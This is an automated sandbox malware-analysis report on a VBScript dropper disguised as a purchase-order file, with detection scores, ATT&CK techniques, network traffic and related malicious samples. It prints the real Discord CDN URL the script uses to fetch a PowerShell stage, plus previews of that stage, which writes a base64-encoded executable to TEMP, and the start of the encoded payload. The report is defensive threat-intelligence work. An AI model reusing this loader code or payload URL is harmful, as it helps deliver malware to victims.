Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO_11171111221.Vbs.vbs	14%	Virustotal		Browse
PO_11171111221.Vbs.vbs	8%	ReversingLabs	Script-WScript.Trojan.Heuristic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\x.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\x.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cdn.discordapp.com	162.159.129.233	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/1295304757166080020/1316923696224669696/fore.ps1?ex=675cd044&is=675b7ec4&hm=5608089203d1f55754eb42ae1b19e52da07e426935e063abf1f2bb096cfc394e&	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1763331017.000001EFD100D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1728136588.000001EFC26FC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000001.00000002.1728136588.000001EFC2197000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1728136588.000001EFC2583000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1728136588.000001EFC2583000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.discordapp.com/attac	wscript.exe, 00000000.00000002.1789139746.00000163D4455000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000001.00000002.1728136588.000001EFC26FC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1763331017.000001EFD100D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1728136588.000001EFC26FC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000001.00000002.1728136588.000001EFC26FC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1728136588.000001EFC26FC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://oneget.orgX	powershell.exe, 00000001.00000002.1728136588.000001EFC2197000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.discordapp.com/	wscript.exe, 00000000.00000003.1785984248.00000163D4375000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.discordapp.com/attachments/1295304757166080020/1316923696224669696/fore.ps1?ex=675cd044&	wscript.exe, 00000000.00000002.1789200260.00000163D6122000.00000004.00000020.00020000.00000000.sdmp, PO_11171111221.Vbs.vbs	false	high
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1728136588.000001EFC0F91000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.discordapp.com/attachments/129530475716608	wscript.exe, 00000000.00000003.1708120120.00000163D6330000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.discordapp.com/attachments/1295304757166080020/1316923696	wscript.exe, wscript.exe, 00000000.00000003.1708120120.00000163D6330000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1789200260.00000163D6120000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1707617251.00000163D6124000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1707941021.00000163D6124000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1728136588.000001EFC0F91000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1728136588.000001EFC2583000.00000004.00000800.00020000.00000000.sdmp	false	high
https://oneget.org	powershell.exe, 00000001.00000002.1728136588.000001EFC2197000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.159.129.233	cdn.discordapp.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574269
Start date and time:	2024-12-13 07:50:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO_11171111221.Vbs.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@11/7@1/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 96% Number of executed functions: 33 Number of non-executed functions: 224
Cookbook Comments:	Found application associated with file extension: .vbs Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1216 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:51:07	API Interceptor	5x Sleep call for process: powershell.exe modified
01:51:32	API Interceptor	3x Sleep call for process: aspnet_compiler.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.129.233	Cheat_Lab_2.7.2.msi	Get hash	malicious	Unknown	Browse	cdn.discordapp.com/attachments/1175364766026436628/1175364839565176852/2
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	cdn.discordapp.com/attachments/1166694372084027482/1169541101917577226/2.txt
	QUOTATION_SEPT9FIBA00541#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla	Browse	cdn.discordapp.com/attachments/1152164172566630421/1153564703793107036/Rezyurp.exe
	SecuriteInfo.com.Trojan.GenericKD.61167322.14727.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	cdn.discordapp.com/attachments/956928735397965906/1004544301541363733/bantylogger_dhBqf163.bin
	64AE5410F978DF0F48DCC67508820EA230C566967E002.exe	Get hash	malicious	DCRat	Browse	cdn.discordapp.com/attachments/932607293869146142/941782821578633216/Sjxupcet.jpg
	http://162.159.129.233	Get hash	malicious	Unknown	Browse	162.159.129.233/favicon.ico
	2lfV6QiE6j.exe	Get hash	malicious	Unknown	Browse	cdn.discordapp.com/attachments/937614907917078588/937618926945329213/macwx.log
	SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Get hash	malicious	Amadey	Browse	cdn.discordapp.com/attachments/878034206570209333/908810886561534042/slhost.exe
	1PhgF7ujwW.exe	Get hash	malicious	Amadey	Browse	cdn.discordapp.com/attachments/878382243242983437/879280740578263060/FastingTabbied_2021-08-23_11-26.exe
	vhNyVU8USk.exe	Get hash	malicious	Amadey	Browse	cdn.discordapp.com/attachments/837741922641903637/866064264027701248/svchost.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdn.discordapp.com	WO-663071 Sabiya Power Station Project.vbs	Get hash	malicious	Remcos	Browse	162.159.129.233
	sNifdpWiY9.exe	Get hash	malicious	Metasploit, Meterpreter	Browse	162.159.134.233
	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse	162.159.129.233
	file.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	file.exe	Get hash	malicious	CStealer	Browse	162.159.134.233
	https://cdn.discordapp.com/attachments/1284277835762110544/1305291734967779460/emu.exe?ex=67327f28&is=67312da8&hm=ea20e1c2a609dc1a0569bd4abb7e0da0a5e0671f3f7a388c1ed138f806c8e0c4&	Get hash	malicious	Unknown	Browse	162.159.135.233
	SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Get hash	malicious	Xmrig	Browse	162.159.135.233
	segura.vbs	Get hash	malicious	Remcos	Browse	162.159.135.233
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	162.159.129.233
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Quasar, Stealc	Browse	162.159.134.233

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	greatattitudewithnicefeatruewithgreatnicecreamypurplethingsgood.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	104.21.84.67
	goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	104.21.31.249
	creamkissingthingswithcreambananapackagecreamy.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	104.21.84.67
	https://link.mail.beehiiv.com/ls/click?upn=u001.R74aO5UQ-2FrUOGP4XJV77OKQT1NAU9BwQ6OP1zvOna2j3qRTjcdTYAqprTXNbU1vrKPOdnlpDlbO1ohrNKAkzUmdLI4l19yBq8cKvYb8dsNKK6IsO0404WADpCgMHJK-2BM7ePj1I7t27EBUyeaiqRuwqngyTjrFDMwzKEm6VF8ExY0iFbvMWKjDk4Y7upRdq5sSY4nXTsFeij7Q5E2ydkS65V1Y39RLDjY80Udth17NgVFYK9r3RCAH09UYk2CIjxFd5I9_j6TOopR0rmB-2FAe-2FAtMIxxpgCP1uVymDZ2Ai3kvTmy94R9Cva2dqhTbcrX0jwqqIbWEZoY75Qxv0d-2Fi-2BJ58G8TpFK32hJ3Y6KvVmw024fgWikUvw7JSpe1p1AxJouHIwzH-2B4WSy6DMsQxGcoT2TOfGxh3ObD4vtK9CAXwy7Cjhf2-2FwG571nv3bia-2F44CMLr9lsCQcs3SwvYIDQ24Nq6VfvIfUFJ9nNyI7I5MS5J8-2Bg5rLnAjlWoLmJBScJaNhqffuqYHWE3BYOKju8i7o1wD6Pw-2Fs92sFC2Mh7Oi9oheY1ZKD714qAu5jG5ZYhyhfMgCcuyNvp15ZI4Srd3AOfDL686JQJNBXoqAuLGHc3y6muY0dxN9oNJrp8vksovnjs-2Be8S30MoUUfcAPp8UPZjIomKd3EBkrVIa3k8AgkBS-2BZFp3F1x23PdTLWCU-2BZmxkQxWt	Get hash	malicious	Unknown	Browse	104.21.90.56
	https://link.mail.beehiiv.com/ls/click?upn=u001.8ULyQR0JYqJFmtAcEKOwZJrtx6Pg-2FFIdL75Xr8cQplPy1BwMP6K04UCj8Y6BqsqIO5QCbkskm97LegF2duW8h-2B7y0wF2E-2BDZNcbzCPIVszT1GD6EOVy0YRZV55MI3rlD0kPZAiaJ0IK1-2FMU2lgPk2Kii32mX86fkDuIDK9GPx4-2FfuyI6JAqdMrtQqIbvs2W-2F-2BIG8MDRxPU9Yn0AWIxVL0SnsGrwak4PiVtMHHZHgth0QvNVoRM6ZTwXBytJNkde3jx-2F-2Fb-2FvT1Ap71VQ1QzJzKA-3D-3DWb3t_K8Qrv2qBC50DA374Af0scmFKIlSM-2Bv5ewezTCdQ-2FHdeUjmHtY3NrJD1TBTC8B4zB5HyIT-2F4sQexLT4eDcDNpHTw1Uv6zyerCF2l6Qv2QnUXIFi1vgFIVZbyXm-2Fb4OHwN5YbpoyTJNqIBeZHgSrlo7M6ZizbyF9nigOzGQDcMUgYHM7Aiblgmi6ZZqeS-2F4eQTcSMrquYcXkgDnpAgjrAXvqys7q9tGDujdSY7rWu7e2v-2B8ZqylkvKbnTnsoe7xpWX2CCdK7-2Ffs69cITr47FLMcG63ztEATsgzr65zgaz1vTV637p-2F932w2jeo6Q6M5CBc8nQ-2BvnbtLXdWgwvebkWZFeKaDHxfFr3YWnPUF1sWMZ4N238r82opSIcsBiifBW-2Fr-2FX6QykqaNBEmm5OGxvGQOo2rDQ3a45-2FO4v08XQIdNTDu5CkpvASiHt5MqJZ9OHD4	Get hash	malicious	Unknown	Browse	104.21.90.56
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.35.43
	http://18.224.21.137/FFmnpShhHMMWeIqsVa2rJ69xinQlZ-7450	Get hash	malicious	Unknown	Browse	172.67.196.220
	https://grupoescobar.com.br/AA/auth.html#yk.cho@hdel.co.kr	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.67.139.78
	CMR ART009.docx	Get hash	malicious	Unknown	Browse	104.21.34.183

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	162.159.129.233
	CMR ART009.docx	Get hash	malicious	Unknown	Browse	162.159.129.233
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	162.159.129.233
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	162.159.129.233
	WO-663071 Sabiya Power Station Project.vbs	Get hash	malicious	Remcos	Browse	162.159.129.233
	0TGy7VIqx7CSab5o.lNK.lnk	Get hash	malicious	Unknown	Browse	162.159.129.233
	c2.hta	Get hash	malicious	XWorm	Browse	162.159.129.233
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	162.159.129.233
	510005940.docx.doc	Get hash	malicious	Unknown	Browse	162.159.129.233
	update.js	Get hash	malicious	Unknown	Browse	162.159.129.233

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (65494), with CRLF line terminators
Category:	dropped
Size (bytes):	449316
Entropy (8bit):	5.978461339679047
Encrypted:	false
SSDEEP:	12288:Gpc42e4IlGV38d4wLD0uMjh/hWaGGFT1/gZz:+cDe4J8d4wnjMV/MGFY
MD5:	A71B01EF9FB1E8252D07F776432A39DE
SHA1:	6A00FECFE8CDF15A8C5A62FDE645D691000A9D46
SHA-256:	12CF3C330193F494DEE36340D31CB9EE1897365FA8280065C6B397230A7488E2
SHA-512:	0DDB623E0EB1E0D1DAC0DFAD4209C3A5BD69C17A071E71461DCEAA23C5BB6B309C58762CBF33637BE7D66808160E9358D5519D3B92A31CD1A7FE7B6D362F96A4
Malicious:	true
Reputation:	low
Preview:	$p=[IO.Path]::Combine($env:TEMP,"x.exe")..[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEbNCaYAAAAAAAAAAOAAIgALATAAABoFAAAIAAAAAAAA7jkFAAAgAAAAQAUAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACABQAAAgAAAAAAAAIAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJg5BQBTAAAAAEAFALYFAAAAAAAAAAAAAAAAAAAAAAAAAGAFAAwAAAA4OQUAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA9BkFAAAgAAAAGgUAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAALYFAAAAQAUAAAYAAAAcBQAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAFAAACAAAAIgUAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAADQOQUAAAAAAEgAAAACAAUASMcEAPBxAAADAAIAQAAABpDGBAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKCTdLK/CJNf3hN50slzq12meu4CN+hc870snKgS2+3THdUz46/4l34IKbgTS1NvC1oZbVYvKZ2zapEj9yj4n7VxIqkDpwCLL324u9/H7o4ihHl6T

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\x.exe.log

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\fore[1].ps1

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (65494), with CRLF line terminators
Category:	dropped
Size (bytes):	449316
Entropy (8bit):	5.978461339679047
Encrypted:	false
SSDEEP:	12288:Gpc42e4IlGV38d4wLD0uMjh/hWaGGFT1/gZz:+cDe4J8d4wnjMV/MGFY
MD5:	A71B01EF9FB1E8252D07F776432A39DE
SHA1:	6A00FECFE8CDF15A8C5A62FDE645D691000A9D46
SHA-256:	12CF3C330193F494DEE36340D31CB9EE1897365FA8280065C6B397230A7488E2
SHA-512:	0DDB623E0EB1E0D1DAC0DFAD4209C3A5BD69C17A071E71461DCEAA23C5BB6B309C58762CBF33637BE7D66808160E9358D5519D3B92A31CD1A7FE7B6D362F96A4
Malicious:	false
Preview:	$p=[IO.Path]::Combine($env:TEMP,"x.exe")..[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEbNCaYAAAAAAAAAAOAAIgALATAAABoFAAAIAAAAAAAA7jkFAAAgAAAAQAUAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACABQAAAgAAAAAAAAIAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJg5BQBTAAAAAEAFALYFAAAAAAAAAAAAAAAAAAAAAAAAAGAFAAwAAAA4OQUAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA9BkFAAAgAAAAGgUAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAALYFAAAAQAUAAAYAAAAcBQAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAFAAACAAAAIgUAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAADQOQUAAAAAAEgAAAACAAUASMcEAPBxAAADAAIAQAAABpDGBAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKCTdLK/CJNf3hN50slzq12meu4CN+hc870snKgS2+3THdUz46/4l34IKbgTS1NvC1oZbVYvKZ2zapEj9yj4n7VxIqkDpwCLL324u9/H7o4ihHl6T

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5zs4ch5r.43b.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cftjdozm.fbk.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\x.exe

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	336896
Entropy (8bit):	7.905067748195128
Encrypted:	false
SSDEEP:	6144:0FH6CPJn2jfSwAM5sjgs62SEvTRvq8H4Zt8QSHa+n6z8vmw:mauN2jfSwAnjgs6ZELBq8YZtXya+n6z6
MD5:	3A4DEEB8FD959AF313C23032D971093E
SHA1:	DE2A8A0C7799E7480D083EA3DE40F3DE1FF95FC5
SHA-256:	C1406D1F48D1919D859F9B201F812467AAFFA937A84C7027EC1B3DEBB8396ACE
SHA-512:	0CD2BD591D2A826ECFD3B06870EA101BF7E97B99257F05A762DD275A5BFE1843D93D93C49D5B12507DD781EF1892C307D35524A7E5EC1CBAA30DC7E826434FB4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...F............."...0..............9... ...@....@.. ....................................`..................................9..S....@.......................`......89..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......H....q......@.....................................................t...._..y..s.].z..7.\.,........3...~.)..KSo.Z.mV/)..j.#.(...q"...../}.....".yzOj.....I.hx..S+z.w.*pe...y.A...........$..{..I..7...xaE).j......Q.....T._~.cF..U.'.9.X..U.%Ak}v..\.5...s,JD.....w}.~.@\..j,..W./#..:...P.O....s..u..o...eO#..~.....":...V.9.....zC.(.M.\|5.H....jBQ.z..c.8..51m.a......"5...7j...'.....P..k.P.w{.j......2..S3...].4..D.....V...$..y.sC3.D.._7...".5=6....u,..Z..9.%..i...y...

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.108870150500356
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	PO_11171111221.Vbs.vbs
File size:	2'186 bytes
MD5:	3b3169de8bdf739bd63c74c42a338033
SHA1:	a5c91d1b08ca5c668f03a1af2ae82ca8a792b47b
SHA256:	b35d6e6054b695ac319bf4ddee0754ca6391be5c032aa7f448a2dfb9a45b4e33
SHA512:	97b98f3b10ae3b5f373715a1c28cf8897ed39b793e2790baf59142e6c4eb170fc0056147a90dc7e31eadb8f2315d11d9d109d7bbebafc4d194424c1207f213c8
SSDEEP:	48:ICqQIjviLaRE/jyJ2yAwJGrn/kJBJk/mLJ5+/q:ICqpnGryJ3HJGr/kJfk/mLJ5+/q
TLSH:	F5416537ED07D3615C378B0F856FE04DDA10408B71144550BEAC8846BF36BE8EAA82CD
File Content Preview:	' Constants to avoid magic strings..Const URL = "https://cdn.discordapp.com/attachments/1295304757166080020/1316923696224669696/fore.ps1?ex=675cd044&is=675b7ec4&hm=5608089203d1f55754eb42ae1b19e52da07e426935e063abf1f2bb096cfc394e&"..Const DownloadPath = "C

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-13T07:51:05.600488+0100	2018856	ET MALWARE Windows executable base64 encoded	1	162.159.129.233	443	192.168.2.4	49730	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 07:51:03.634324074 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:03.634371042 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:03.634593010 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:03.643060923 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:03.643095016 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:04.865139961 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:04.865361929 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:04.912950039 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:04.912971973 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:04.913383961 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:04.913474083 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:04.915616035 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:04.959343910 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.325897932 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.325973034 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.325993061 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.326036930 CET	49730	443	192.168.2.4	162.159.129.233
Dec 13, 2024 07:51:05.326044083 CET	443	49730	162.159.129.233	192.168.2.4
Dec 13, 2024 07:51:05.326077938 CET	443	49730	162.159.129.233	192.168.2.4
